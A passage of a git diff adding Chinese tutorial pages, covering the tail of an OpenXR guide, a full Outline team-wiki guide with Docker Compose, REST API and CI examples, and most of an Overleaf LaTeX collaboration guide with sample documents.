+strncpy(setInfo.actionSetName, "gameplay", XR_MAX_ACTION_SET_NAME_SIZE); +setInfo.priority = 0; +xrCreateActionSet(instance, &setInfo, &actionSet); + +XrActionCreateInfo actionInfo{XR_TYPE_ACTION_CREATE_INFO}; +actionInfo.actionType = XR_ACTION_TYPE_FLOAT_INPUT; +strncpy(actionInfo.actionName, "trigger_click", XR_MAX_ACTION_NAME_SIZE); +strncpy(actionInfo.localizedActionName, "Trigger", XR_MAX_NAME_SIZE); +actionInfo.countSubactionPaths = 0; +xrCreateAction(actionSet, &actionInfo, &grabAction); + +// Session 创建后:xrAttachSessionActionSets + xrSuggestInteractionProfileBindings +// 每帧: +XrActionsSyncInfo syncInfo{XR_TYPE_ACTIONS_SYNC_INFO}; +syncInfo.countActiveActionSets = 1; +XrActiveActionSet active{actionSet, XR_NULL_PATH}; +syncInfo.activeActionSets = &active; +xrSyncActions(session, &syncInfo); + +XrActionStateGetInfo getInfo{XR_TYPE_ACTION_STATE_GET_INFO}; +getInfo.action = grabAction; +XrActionStateFloat triggerState{XR_TYPE_ACTION_STATE_FLOAT}; +xrGetActionStateFloat(session, &getInfo, &triggerState); +if (triggerState.currentState > 0.5f) { /* 开火 */ } +``` + +这样「扳机」在不同手柄上由 Runtime 映射,应用只读 0~1 浮点。 + +## 仓库结构与学习路径 + +| 路径 | 内容 | +|------|------| +| `include/openxr/` | 标准头文件 `openxr.h`、`openxr_platform.h` | +| `src/loader/` | Loader 实现,理解实例与 dispatch | +| `src/tests/hello_xr/` | **首选阅读**:完整图形绑定 + 多后端示例 | +| `src/api_layer/` | 如何编写 API Layer | +| `specification/registry/xr.xml` | 机器可读 API 注册表 | + +建议学习顺序:**规范导读(Instance → Session → Rendering 三章)→ 构建 hello_xr → 改图形后端(Vulkan/OpenGL)→ 加 Action 输入**。若做 Android/Quest,再查 `XR_KHR_android_create_instance`、`XR_KHR_opengl_es_enable` 等扩展。 + +## OpenXR-SDK 与 OpenXR-SDK-Source 怎么选 + +| 项目 | 适用场景 | +|------|----------| +| **OpenXR-SDK-Source** | 改 Loader、写 Layer、读测试与生成逻辑、贡献 Khronos | +| **OpenXR-SDK** | 游戏/引擎集成:预生成头文件,CMake `find_package(OpenXR)` | + +## 与 WebXR、引擎的关系 + +- **WebXR**(浏览器内)是另一套 JS API,概念上与 OpenXR 平行:会话、参考空间、XR 帧回调。A-Frame、Three.js 封装的是 WebXR,不是直接链 OpenXR C API +- **Godot 4 / Unity / Unreal** 通过官方或插件 OpenXR 后端对接 PC/独立头显;自研引擎则常直接链 Loader + Vulkan + +## 常见坑 + +1. **未装 Runtime**:PC 上无 SteamVR / Oculus / Monado 等时,`xrGetSystem` 会失败——不是 SDK 坏了,是「放映厅没开门」 +2. **图形绑定不匹配**:Session 的 `next` 链必须填与当前设备兼容的 `XrGraphicsBinding*`,且扩展已在 Instance 启用 +3. **在错误 Session 状态渲染**:非 `FOCUSED` 时 `xrWaitFrame` 可能阻塞或返回空帧 +4. **Swapchain 格式**:用 `xrEnumerateSwapchainFormats` 选 Runtime 支持的格式,别硬套桌面 SDR 格式 +5. **混淆两个仓库**:应用集成优先 **OpenXR-SDK**;读 Loader 源码才去 **OpenXR-SDK-Source** + +## 进一步阅读 + +- [OpenXR 1.1 规范(HTML)](https://registry.khronos.org/OpenXR/specs/1.1/html/xrspec.html) +- [Loader 设计与运作](https://registry.khronos.org/OpenXR/specs/1.0/loader.html) +- [OpenXR API 手册页](https://registry.khronos.org/OpenXR/specs/1.1/man/html/openxr.html) +- [hello_xr 源码](https://github.com/KhronosGroup/OpenXR-SDK-Source/tree/main/src/tests/hello_xr) +- [Khronos OpenXR 门户](https://www.khronos.org/openxr) diff --git a/src/content/docs/projects/outline.md b/src/content/docs/projects/outline.md new file mode 100644 index 000000000..9f1f27113 --- /dev/null +++ b/src/content/docs/projects/outline.md @@ -0,0 +1,405 @@ +--- +title: Outline — 团队 Wiki 协作平台 +来源: https://github.com/outline/outline +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:公司图书馆,而不是聊天里的「第 17 版文档」 + +想象你们团队有一间 **内部图书馆**: + +- **书架(Collection)** 按主题分区:工程、产品、人事、运维…… +- **每一页(Document)** 是一篇可不断修订的文章,支持标题、目录、代码块、表格、嵌入图。 +- **馆员系统(权限)** 决定谁能读、谁能改、谁能对外借出复印件(公开链接)。 +- **实时共编** 像多人同时在同一页白板上写字——你看见同事的游标,不用等「张三改完发你 v8.docx」。 + +而很多团队的现状是:知识散落在 Slack 线程、Google Docs 文件夹、某次 onboarding 的 Notion 副本里。**新人问「部署流程在哪?」**,老员工翻聊天记录五分钟,复制粘贴一个过期链接。 + +**Outline**([outline/outline](https://github.com/outline/outline))就是为这种场景设计的 **团队知识库 / Wiki**:Markdown 友好、搜索极快、实时协作、可自托管。官方托管见 [getoutline.com](https://www.getoutline.com);源码在 GitHub 上 3 万+ Star,技术社区常把它当作 Notion Wiki 区或 Confluence 的现代化替代。 + +零基础路径:**浏览 demo 或试用云版 → 理解 Collection / Document 结构 → 用 API 或 Docker 自建 → 接 Slack / SSO**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:文档版本在 IM 里流转,没有「单一事实来源」 + +部署手册、onboarding、事故复盘若只活在聊天里,**检索成本** 和 **过期风险** 会指数上升。Outline 把内容收敛到可搜索、可链接、可权限管控的 workspace,每篇文档有稳定 URL,改一处全员可见。 + +### 痛点 2:传统企业 Wiki(Confluence 等)又慢又重 + +Outline 从设计上强调 **毫秒级加载** 和 **Notion 式编辑体验**:斜杠命令插入块、拖拽图片、Mermaid 图、KaTeX 公式、代码高亮。写内部文档应该像写笔记,而不是填企业 CMS 表单。 + +### 痛点 3:SaaS 知识库的数据主权与按席位计费 + +Outline 支持 **Docker 自托管**(PostgreSQL + Redis + S3 兼容存储),团队规模扩大时不按人头涨价。许可为 **BSL 1.1**(四年后转为 Apache 2.0)——源码公开、可审计,但需注意与「纯 OSI 开源」定义的差别。 + +### 痛点 4:文档与日常工作流脱节 + +内置 **Slack** 集成:在频道里搜索、分享、订阅文档更新;**REST API** 支持用 CI 自动生成 runbook、同步发布说明;**Webhook** 可在文档创建/更新时触发内部自动化。 + +--- + +## 核心概念拆解 + +### 1. Workspace(工作区) + +一个 Outline 实例通常对应一个 **Workspace**——相当于整间「图书馆」。用户、团队、权限、集成配置都在 workspace 级别管理。自托管时你的域名(如 `https://wiki.example.com`)即 workspace 入口。 + +### 2. Collection(集合 / 书架) + +Collection 是 **顶层内容分区**,类似「工程文档」「产品规格」「公司政策」。特点: + +- 扁平列表,**不是** BookStack 那种多层书架嵌套; +- 可配置图标、颜色、排序; +- 权限可在 collection 级别设置 **读 / 写 / 管理**。 + +### 3. Document(文档 / 页面) + +Document 是基本内容单元,存储 **ProseMirror** 富文本(底层兼容 Markdown 导入导出)。支持: + +- **无限层级子文档**:`parentDocumentId` 形成树形目录; +- **草稿与发布**:`publishedAt` 为空表示未发布; +- **模板**:复用 onboarding、RFC、事故报告等结构; +- **评论与 @提及**:讨论留在文档上下文,不散落在 Slack。 + +### 4. 搜索(Search) + +服务端用 PostgreSQL **`tsvector` / `tsquery`** 做全文检索,并结合 `popularityScore` 等信号排序。云版还提供 **AI 问答**(对 workspace 内文档提问)。自托管团队通常先依赖经典关键词搜索,已足够快。 + +### 5. 权限模型(Policies) + +后端用 **cancan** 策略集中鉴权:用户、用户组(Group)、Collection 成员关系、Guest 用户、公开分享链接各自有规则。API 与 Web UI 走同一套 policy,避免「网页能看、API 不能调」的双轨权限。 + +### 6. 认证(Authentication) + +**重要**:Outline **没有内置邮箱+密码注册**。必须接外部 IdP: + +| 方式 | 典型场景 | +|------|----------| +| Google / Slack OAuth | 小团队快速上线 | +| OIDC(Authentik、Keycloak) | 自托管统一身份 | +| SAML / Azure AD | 企业 SSO | +| API Key(Bearer) | 脚本与 CI 调用 | + +### 7. 技术栈一览 + +| 层 | 技术 | +|----|------| +| 前端 | React + Vite + MobX + Styled Components | +| 编辑器 | ProseMirror(`shared/editor`) | +| 后端 | Koa + Sequelize + PostgreSQL | +| 队列 / 实时 | Redis + Bull;WebSocket 协作 | +| 文件 | 本地卷或 S3 / MinIO | + +架构说明见仓库 [docs/ARCHITECTURE.md](https://github.com/outline/outline/blob/main/docs/ARCHITECTURE.md)。 + +--- + +## 内容组织建议 + +适合 growing team 的一种结构: + +``` +Workspace +├── Collection: Engineering +│ ├── Document: 架构总览 +│ │ ├── 子文档: 认证服务 +│ │ └── 子文档: 数据管道 +│ └── Document: On-call Runbook +├── Collection: Product +│ └── Document: PRD 模板 +└── Collection: Company + └── Document: 休假政策 +``` + +原则: + +1. **Collection 少而清晰**(5–12 个),避免「 Uncategorized 垃圾堆」; +2. **深层级用子文档**,不要把所有标题都拍平在一页; +3. **Runbook / 政策 / 模板** 单独成 collection,方便权限收口; +4. 对外分享用 **Share link**,对内用 group 权限,不要混用。 + +--- + +## 代码示例 1:Docker Compose 自托管最小栈 + +官方推荐 Docker 部署。下面示例包含 Outline、PostgreSQL、Redis,以及用 **https-portal** 自动申请 HTTPS(生产请 **固定镜像版本**,勿长期用 `latest`): + +```yaml +# docker-compose.yml — 摘自 Outline 官方 Docker 文档的简化版 +services: + outline: + image: docker.getoutline.com/outlinewiki/outline:1.2.0 + env_file: ./docker.env + expose: + - "3000" + volumes: + - storage-data:/var/lib/outline/data + depends_on: + - postgres + - redis + + redis: + image: redis:7-alpine + expose: + - "6379" + volumes: + - ./redis.conf:/redis.conf + command: ["redis-server", "/redis.conf"] + + postgres: + image: postgres:18 + expose: + - "5432" + volumes: + - database-data:/var/lib/postgresql + environment: + POSTGRES_USER: outline + POSTGRES_PASSWORD: outline_pass + POSTGRES_DB: outline + + https-portal: + image: steveltn/https-portal:1 + ports: + - "80:80" + - "443:443" + environment: + DOMAINS: "docs.example.com -> http://outline:3000" + STAGE: "production" + WEBSOCKET: "true" # 实时协作依赖 WebSocket + volumes: + - https-portal-data:/var/lib/https-portal + +volumes: + storage-data: + database-data: + https-portal-data: +``` + +`docker.env` 中至少需要(值请换成强随机串): + +```bash +NODE_ENV=production +URL=https://docs.example.com +PORT=3000 +SECRET_KEY=generate_a_long_random_string +UTILS_SECRET=another_long_random_string +DATABASE_URL=postgres://outline:outline_pass@postgres:5432/outline +REDIS_URL=redis://redis:6379 +FILE_STORAGE=local +FILE_STORAGE_LOCAL_ROOT_DIR=/var/lib/outline/data + +# OIDC 示例(以 Authentik 为例) +OIDC_CLIENT_ID=outline +OIDC_CLIENT_SECRET=your_oidc_secret +OIDC_AUTH_URI=https://auth.example.com/application/o/authorize/ +OIDC_TOKEN_URI=https://auth.example.com/application/o/token/ +OIDC_USERINFO_URI=https://auth.example.com/application/o/userinfo/ +OIDC_LOGOUT_URI=https://auth.example.com/application/o/outline/end-session/ +``` + +启动与更新: + +```bash +docker compose up -d +docker compose logs -f outline # 确认 DB/Redis 连接成功 +# 升级前:备份 Postgres → 改镜像 tag → docker compose pull && docker compose up -d +``` + +**反代注意**:Nginx/Caddy 必须透传 `Upgrade` 与 `Connection` 头,否则实时协作会静默失败。 + +--- + +## 代码示例 2:REST API 创建与搜索文档 + +Outline API 是 **RPC 风格**:`POST /api/`,与官方 Web 应用共用同一套接口。认证推荐 **Header**: + +`Authorization: Bearer ol_api_xxxxxxxx` + +在 **Settings → API Keys** 创建 Key,可按 endpoint 设 scope(如 `documents.*`)。 + +### Bash:创建并发布一篇 Runbook + +```bash +OUTLINE_URL="https://docs.example.com" +API_KEY="ol_api_your_key_here" +COLLECTION_ID="550e8400-e29b-41d4-a716-446655440000" # 浏览器地址栏可见 + +curl -sS "${OUTLINE_URL}/api/documents.create" \ + -X POST \ + -H "Authorization: Bearer ${API_KEY}" \ + -H "Content-Type: application/json" \ + -H "Accept: application/json" \ + -d "$(jq -n \ + --arg title "生产部署 Runbook" \ + --arg text "$(cat <<'MD' +## 概述 + +本文描述主站发布流程。 + +## 检查清单 + +- [ ] CI 全绿 +- [ ] 数据库迁移已 review +- [ ] on-call 已知晓 + +## 回滚 + +见 [[回滚手册]] 子文档。 +MD +)" \ + --arg cid "${COLLECTION_ID}" \ + '{title: $title, text: $text, collectionId: $cid, publish: true}')" \ + | jq '.data | {id, urlId, title}' +``` + +### Python:封装客户端并搜索 + +```python +#!/usr/bin/env python3 +"""最小 Outline API 客户端:创建文档 + 全文搜索。""" +import os +import requests + +BASE = os.environ["OUTLINE_URL"].rstrip("/") +TOKEN = os.environ["OUTLINE_API_KEY"] +HEADERS = { + "Authorization": f"Bearer {TOKEN}", + "Content-Type": "application/json", + "Accept": "application/json", +} + +def rpc(method: str, payload: dict | None = None) -> dict: + r = requests.post(f"{BASE}/api/{method}", headers=HEADERS, json=payload or {}, timeout=30) + r.raise_for_status() + body = r.json() + if not body.get("ok", True) and "data" not in body: + raise RuntimeError(body) + return body.get("data", body) + +if __name__ == "__main__": + # 1) 列出 collections,拿到 collectionId + collections = rpc("collections.list") + eng = next(c for c in collections if c["name"] == "Engineering") + + # 2) 创建子文档(嵌套在父文档下) + doc = rpc("documents.create", { + "title": "Redis 故障应急", + "text": "## 症状\n\n缓存命中率骤降。\n\n## 处理\n\n1. 检查内存\n2. 切换只读副本", + "parentDocumentId": "PARENT_DOC_UUID", + "publish": True, + }) + print("created:", doc["id"], doc.get("url")) + + # 3) 搜索 + hits = rpc("documents.search", {"query": "redis 故障", "limit": 5}) + for item in hits: + print("-", item["document"]["title"], item.get("ranking")) +``` + +常见 RPC 方法: + +| 方法 | 用途 | +|------|------| +| `documents.list` | 按 collection / 父文档列出 | +| `documents.info` | 按 id 或 shareId 取详情 | +| `documents.update` | 更新正文或元数据 | +| `documents.move` | 调整树位置 | +| `documents.search` | 全文搜索 | +| `collections.list` | 列出所有书架 | + +完整参考:[getoutline.com/developers](https://www.getoutline.com/developers)。 + +--- + +## 代码示例 3:CI 中自动同步 Changelog(思路) + +在 release workflow 里,用 API 把 `CHANGELOG.md` 对应章节写入 Outline,供非开发人员阅读: + +```yaml +# .github/workflows/sync-outline.yml(片段) +- name: Publish release notes to Outline + env: + OUTLINE_URL: ${{ secrets.OUTLINE_URL }} + OUTLINE_API_KEY: ${{ secrets.OUTLINE_API_KEY }} + OUTLINE_COLLECTION_ID: ${{ secrets.OUTLINE_COLLECTION_ID }} + run: | + BODY=$(jq -Rs . < RELEASE_NOTES.md) + jq -n \ + --arg title "Release ${{ github.ref_name }}" \ + --argjson text "$BODY" \ + --arg collectionId "$OUTLINE_COLLECTION_ID" \ + '{title: $title, text: $text, collectionId: $collectionId, publish: true}' \ + | curl -fsS "$OUTLINE_URL/api/documents.create" \ + -H "Authorization: Bearer $OUTLINE_API_KEY" \ + -H "Content-Type: application/json" \ + -d @- +``` + +这样 **Git 仍是源码真相**,Outline 是面向全公司的 **可读橱窗**。 + +--- + +## 与相近工具对比 + +| 维度 | Outline | BookStack | Wiki.js | Notion | +|------|---------|-----------|---------|--------| +| 定位 | 团队 Wiki / 知识库 | 结构化手册 | 灵活 Wiki | 全能工作区 | +| 实时协作 | ✅ | ❌ | ❌ | ✅ | +| Markdown | 原生友好 | WYSIWYG 为主 | 原生 | 部分 | +| 自托管 | ✅ Docker | ✅ | ✅ | ❌ | +| 内置账号密码 | ❌ 需 SSO | ✅ | ✅ | SaaS | +| API | REST RPC | REST | GraphQL | 有限 | +| 许可 | BSL 1.1 | MIT | AGPL | 专有 | + +选型建议: + +- 要 **最好写的编辑器 + 实时共编** → Outline; +- 要 **最简单自托管 + 传统书架** → BookStack; +- 要 **GraphQL + 高度可定制** → Wiki.js; +- 要 **表格数据库 + 轻量个人笔记** → Notion,但内部 Wiki 常变贵且难治理。 + +--- + +## 常见坑与排查 + +1. **登录不了**:没配 OAuth/OIDC/SAML。先 `curl -X POST $URL/api/auth.config -d '{}'` 看启用的 provider。 +2. **协作不同步**:反代未开启 WebSocket;检查 `WEBSOCKET` 与 `Upgrade` 头。 +3. **上传附件失败**:`FILE_STORAGE` 配错;生产应用 S3/MinIO,并检查 bucket 权限。 +4. **API 403**:Key scope 过窄,或用户对目标 collection 无写权限。 +5. **升级后白屏**:看容器日志是否 migration 失败;升级前 **务必备份 Postgres**。 +6. **搜索不到新文档**:索引异步;极短延迟内属正常,持续缺失则查 DB `documents` 表与 `searchVector` 字段。 + +--- + +## 零基础实践路线(约 90 分钟) + +| 阶段 | 动作 | 产出 | +|------|------|------| +| 1. 体验 | 注册云版 trial 或浏览公开 changelog | 熟悉编辑器与 collection | +| 2. 建模 | 建 2 个 collection、各 3 篇文档(含 1 个子文档) | 团队信息架构草案 | +| 3. 协作 | 邀请同事同时编辑一篇 | 理解实时游标与评论 | +| 4. 集成 | 接 Slack 搜索/分享(可选) | 降低「文档在 wiki 里吃灰」概率 | +| 5. 自动化 | 用 API 创建一篇 CI 同步文档 | 验证可编程性 | +| 6. 自托管 | Docker Compose + OIDC(实验环境) | 掌握依赖与备份流程 | + +--- + +## 延伸阅读 + +- 官方站点:[getoutline.com](https://www.getoutline.com) +- 源码与 Star 历史:[github.com/outline/outline](https://github.com/outline/outline) +- 自托管 Docker:[docs.getoutline.com — Docker](https://docs.getoutline.com/s/hosting/doc/docker-7pfeLP5a8t) +- API 与鉴权:[开发者文档](https://www.getoutline.com/developers)、[API 指南](https://docs.getoutline.com/s/guide/doc/api-1rEIXDfLF6) +- 架构总览:[docs/ARCHITECTURE.md](https://github.com/outline/outline/blob/main/docs/ARCHITECTURE.md) + +--- + +## 小结 + +Outline 把「团队知识」从聊天附件和过期 Google Doc 里拉出来,放进 **可搜索、可协作、可编程** 的 Wiki。日常类比就是 **公司内部图书馆**:Collection 是书架,Document 是活页册,API 是编目机器人,SSO 是借书证系统。零基础先会用云版编辑器,再按需 Docker 自托管并用 API 接入发布流程——大多数工程团队在这条路径上就能替代笨重的传统 Wiki,同时保留对数据的控制。 diff --git a/src/content/docs/projects/overleaf.md b/src/content/docs/projects/overleaf.md new file mode 100644 index 000000000..07c7cc583 --- /dev/null +++ b/src/content/docs/projects/overleaf.md @@ -0,0 +1,358 @@ +--- +title: Overleaf — 在线 LaTeX 协作 +来源: https://github.com/overleaf/overleaf +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:多人共用的「排版云厨房」 + +想象你和导师、同学要合写一本精装论文,但每人电脑上的 Word 版本、字体、公式插件都不一样,来回发邮件改第 17 版 PDF 会疯掉。 + +**Overleaf** 就像一间 **开在浏览器里的共享排版厨房**: + +- **LaTeX 源码**(`.tex`)是统一菜谱——所有人改的是同一份「脚本」,不是各自改 PDF。 +- **云端编译** 是中央烤箱——你点 **Recompile**,服务器上的 TeX Live 帮你生成 PDF,左边写、右边即时预览,不用在本机装几个 GB 的 TeX 发行版。 +- **实时协作** 像 Google Docs,但底层是 **Operational Transformation(OT)+ WebSocket**:多人同时改同一段,服务器每隔几秒合并编辑,大家最终看到同一版本。 +- **Share / Track Changes / Comments** 则是审稿流程:邀请合作者、追踪谁改了什么、在段落旁留言,而不是在 PDF 上截图圈红。 + +它和「本地 TeXstudio + 邮件传 zip」完全不同:**零安装、任意设备登录、协作与版本在同一项目里完成**。开源社区版 [overleaf/overleaf](https://github.com/overleaf/overleaf) 也可自托管;官方云服务见 [overleaf.com](https://www.overleaf.com)。文档:[Overleaf docs](https://docs.overleaf.com/)。 + +零基础路径:**注册 → 新建 Blank/Example 项目 → 改 `main.tex` → Recompile 看 PDF → 邀请一位合作者试协同编辑**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:本地 LaTeX 环境难装、难统一 + +TeX Live 体积大,Windows/macOS/Linux 路径与宏包版本各不同。Overleaf 在服务端提供 **完整 TeX Live**,项目内可选编译器(pdfLaTeX、XeLaTeX、LuaLaTeX 等)与 **TeX Live 版本**,组员无需各自折腾环境。 + +### 痛点 2:协作靠「发 zip + 注释 PDF」 + +传统流程:A 改完打包 → B 合并冲突 → 再编译看效果。Overleaf 支持 **多人同时编辑**、**项目内评论**、付费档 **Track Changes(修订追踪)** 与 **History(版本历史)**,把「写—改—审」收进一个 URL。 + +### 痛点 3:新手被 LaTeX 语法吓退 + +**Visual Editor** 提供类 Word 的富文本界面,插入章节、公式、表格不必先背 `\section`;随时可切回 **Code Editor** 看底层 LaTeX,适合「先产出 PDF,再学语法」。 + +### 痛点 4:离线、CI、与 Git 工作流脱节 + +Premium 功能支持 **Git clone/push/pull**(把 Overleaf 项目当 remote)和 **GitHub 双向同步**,方便本地用 VS Code/Vim 改完推回,或与 GitHub Actions 衔接。自托管 Server Pro 4.0+ 也可启用 Git-bridge。 + +--- + +## 核心概念拆解 + +### 1. 三层结构:账户 → 项目 → 文件树 + +| 层级 | 含义 | 典型内容 | +|------|------|----------| +| **Account** | 你的 Overleaf 账号与套餐 | 免费版协作人数、编译超时、History 保留时长 | +| **Project** | 一篇论文/报告/幻灯片的容器 | 多个 `.tex`、图片、`.bib`、样式文件 | +| **File tree** | 项目内左侧文件树 | `main.tex`(主文档)、`chapters/`、`figures/`、`refs.bib` | + +一个 Project 对应 **一次完整编译上下文**;多文件时需在菜单中指定 **Main document**(主 `.tex`),否则 `\input` 子文件时编译入口会错。 + +### 2. 双编辑器:Code Editor vs Visual Editor + +- **Code Editor**:传统 LaTeX 源码编辑,语法高亮、自动补全、符号面板(Premium)。 +- **Visual Editor**:WYSIWYG 式编辑,背后仍生成 LaTeX;适合入门,也适合快速改格式。 + +两者 **同一套源文件**;切换不会复制两份内容。熟练后建议在 Visual 里搭骨架,在 Code 里精调宏包与自定义命令。 + +### 3. 云端编译(Recompile) + +- 点击 **Recompile** 或 **Ctrl/Cmd + Enter** 触发编译。 +- **Auto Compile**(Recompile 下拉菜单)可在输入时自动刷新 PDF,类似「保存即预览」。 +- 编译在 Overleaf 服务器执行;免费版有 **Compile timeout** 上限,复杂 TikZ/大 Bib 项目可能需拆分或升级套餐。 +- **Logs and output files** 面板可看 `.log`、缺失宏包提示;与本地 `pdflatex` 报错逻辑一致。 + +常用编译器选择(Project → Settings 或 Recompile 旁菜单): + +| 编译器 | 典型场景 | +|--------|----------| +| **pdfLaTeX** | 英文 article、多数模板默认 | +| **XeLaTeX / LuaLaTeX** | 中文(`ctex`、`fontspec`)、系统字体 | +| **LaTeX** | 少数 legacy 模板 | + +### 4. 实时协作的技术与权限 + +Overleaf 用 **OT** 合并并发编辑,用 **WebSocket** 推送他人改动。协作权限在 **Share** 菜单配置: + +| 角色 | 能力 | +|------|------| +| **Editor** | 改源码、编译 | +| **Reviewer** | 可配合 Track Changes 审阅 | +| **Viewer** | 只读(免费版可无限 Viewer) | + +免费账户通常 **仅 1 名 Editor 协作者**;Student/Standard/Pro 等 Premium 可提高人数并解锁 Track Changes、完整 History 等(以 [Premium features](https://docs.overleaf.com/getting-started/free-and-premium-plans/premium-features) 为准)。**项目级 Premium**:若项目 Owner 是付费用户,受邀免费用户在该项目内也可使用 Track Changes、完整 History 等。 + +### 5. Track Changes、Comments、History + +- **Comments**:选中文字添加评论与回复,适合异步审稿。 +- **Track Changes**(Premium):切换到 Reviewing 模式,显示插入/删除,可逐条或批量 Accept/Reject。 +- **History**:查看按时间戳保存的版本;可 **Label** 里程碑、对比两版 diff、**Restore** 整项目或单文件。免费版通常仅 **24 小时** 内历史 + 已打 Label 的版本;完整 History 需 Premium。 + +复制项目时:**Tracked changes 会在副本中被自动接受**;副本 **不继承** 原项目 History。 + +### 6. 模板、参考文献与集成 + +- **New Project → Templates** 提供 ACM、IEEE、论文、Beamer 等起点。 +- **`.bib` + `\cite`**:可上传 bib 文件;Premium 可链 **Zotero / Mendeley / Papers** 并 **Advanced reference search** 边写边搜 cite key。 +- **Git / GitHub**(Premium):Integrations 菜单获取 `git clone` URL;认证用 Account Settings 里的 **Git authentication token**(用户名填 `git`,密码填 token)。GitHub Sync 仅支持 **github.com**,且通常需「从 GitHub 建新 Overleaf 项目」或「从 Overleaf 建新 GitHub 仓库」,**不能**把两个已有仓库直接 link。 + +### 7. 自托管:Overleaf Community Edition + +GitHub 仓库 [overleaf/overleaf](https://github.com/overleaf/overleaf) 提供 **Community Edition**(Docker Compose 部署),适合学校/实验室内网。与 Overleaf Cloud 功能集不完全相同;Server Pro 才有 Git-bridge 等企业特性。学习协作流程时,**先用官方免费云账号** 最快。 + +--- + +## 注册与第一个项目 + +### 第一步:创建账户 + +访问 [overleaf.com/register](https://www.overleaf.com/register),用邮箱或机构 SSO 注册。机构订阅 **Overleaf Commons** 的用户用学校邮箱登录可自动获得 Premium 能力。 + +### 第二步:新建项目 + +Dashboard → **New Project**: + +- **Blank Project**:空 `main.tex` 骨架。 +- **Example Project**:带 figure 与 bibliography 的样例,适合对照学习。 +- **Templates**:从会议/期刊模板起步。 + +### 第三步:第一次编译 + +打开项目后默认 **Code Editor**,编辑 `main.tex`,点击 **Recompile**。右侧 PDF 面板出现即表示云端 TeX 环境可用。可开启 **Auto Compile** 体验实时预览。 + +--- + +## 代码示例 1:Example 项目风格的英文短文 + +在 Blank 项目中把 `main.tex` 替换为以下内容(或对照 Example 项目修改): + +```latex +\documentclass[11pt,a4paper]{article} +\usepackage[utf8]{inputenc} +\usepackage{amsmath,amsfonts,amssymb} +\usepackage{graphicx} +\usepackage{hyperref} + +\title{My First Overleaf Project} +\author{Alice \and Bob} +\date{\today} + +\begin{document} +\maketitle + +\begin{abstract} +We write \LaTeX{} in the browser and let Overleaf compile the PDF. +\end{abstract} + +\section{Introduction} +Collaborators can edit this file at the same time. +Share the project URL from the \textbf{Share} menu. + +\section{An equation} +Overleaf's preview updates after you click \textbf{Recompile}: +\begin{equation} + E = mc^2. + \label{eq:einstein} +\end{equation} +Equation~\eqref{eq:einstein} is famous. + +\end{document} +``` + +**练习**:开启 Auto Compile,改 `\author` 中名字,观察 PDF 标题页是否自动更新;用 **Share** 邀请一位朋友为 Editor,两人同时改 `\section{Introduction}` 一段,体验无冲突合并。 + +--- + +## 代码示例 2:中文论文(XeLaTeX + ctex) + +中文项目需换编译器。菜单 **Menu → Settings → Compiler** 选 **XeLaTeX**(或 LuaLaTeX),然后使用: + +```latex +\documentclass[UTF8,a4paper,12pt]{ctexart} + +\title{Overleaf 中文协作示例} +\author{张三 \and 李四} +\date{\today} + +\begin{document} +\maketitle + +\begin{abstract} +在 Overleaf 中写中文无需本地安装 \CTeX{} 套装,只需选对编译器与文档类。 +\end{abstract} + +\section{协作要点} +\begin{itemize} + \item 用 \texttt{Share} 邀请导师为 Editor 或 Reviewer + \item 重要节点在 \texttt{History} 里打 Label + \item 图片上传到项目根目录或 \texttt{figures/},用 \verb|\includegraphics| 引用 +\end{itemize} + +\section{公式与引用} +贝叶斯公式: +\begin{equation} + P(A \mid B) = \frac{P(B \mid A)\,P(A)}{P(B)}. + \label{eq:bayes} +\end{equation} +见式~(\ref{eq:bayes})。参考文献可在同项目上传 \texttt{refs.bib} 并使用 \verb|\cite{}|。 + +\end{document} +``` + +若编译报字体或宏包错误,在 **Logs** 里查看;Overleaf 云环境通常已含 `ctex`。本地与云端差异时,可在 Settings 里 **固定 TeX Live 年份** 以保持可复现。 + +--- + +## 代码示例 3:多文件项目结构 + +学位论文常用 `\input` 拆分章节。在 Overleaf 文件树中 **New Folder** `chapters`,新建 `main.tex` 与片段: + +主文件 `main.tex`: + +```latex +\documentclass[12pt, a4paper]{report} +\usepackage{graphicx} +\usepackage{amsmath} + +\title{Thesis on Overleaf} +\author{Candidate} + +\begin{document} +\maketitle +\tableofcontents + +\input{chapters/intro} +\input{chapters/related} + +\bibliographystyle{plain} +\bibliography{refs} + +\end{document} +``` + +`chapters/intro.tex`(注意:**不要**写 `\documentclass`): + +```latex +\chapter{Introduction} +\label{ch:intro} + +This chapter lives in \texttt{chapters/intro.tex}. +Cross-reference Chapter~\ref{ch:intro} from anywhere in the project. +``` + +在 **Menu → Main document** 中确认选中 `main.tex`,再 Recompile。上传 `refs.bib` 并在导言区前准备好 `\bibliography{refs}` 即可启用文献。 + +--- + +## 典型工作流(从零到定稿) + +```text +1. New Project (Template 或 Blank) +2. 设定 Compiler(中文 → XeLaTeX) +3. 上传 figures/、refs.bib,Organize 文件树 +4. 写作:Code 或 Visual Editor;开启 Auto Compile +5. Share → 邀请合作者(Editor / Reviewer / Viewer) +6. Reviewing:Comments + Track Changes(Premium) +7. History:Label「送审版」「终稿」;必要时 Restore +8. 导出:Menu → Download PDF 或 Download as source (.zip) +9. (可选)Git push 到本地仓库或 GitHub Sync +``` + +### 常用操作速查 + +| 操作 | 入口 | +|------|------| +| 重新编译 | Recompile / Ctrl+Enter | +| 自动编译 | Recompile ▼ → Auto Compile | +| 切换 Visual/Code | 编辑器顶部切换按钮 | +| 分享 | 顶部 Share | +| 版本历史 | History 图标(预览栏上方) | +| 修订模式 | 右上角模式 → Reviewing | +| Git 地址 | Menu → Integrations → Git | +| 主文档 | Menu → Main document | + +--- + +## 与其他工具怎么选 + +| 工具 | 定位 | 与 Overleaf 关系 | +|------|------|------------------| +| **TeXstudio / TeXworks** | 本地 IDE + 本机 TeX | 离线、隐私、编译无超时;协作需 Git | +| **VS Code + LaTeX Workshop** | 通用编辑器 + 本地/远程 TeX | 极客友好;Overleaf 可通过 Git 同步 | +| **LyX** | 可视化 LaTeX | 非浏览器;Overleaf Visual Editor 更轻 | +| **Google Docs** | 富文本协作 | 不适合论文级公式、Bib、交叉引用 | +| **Overleaf CE 自托管** | 私有云 | 数据留在校内;运维成本更高 | + +简单决策:**要多人实时改 LaTeX、不想装 TeX → Overleaf**;**要完全离线或自定义宏包沙箱 → 本地 TeXstudio**;**两者可经 Git 并用**。 + +--- + +## 常见问题与排查 + 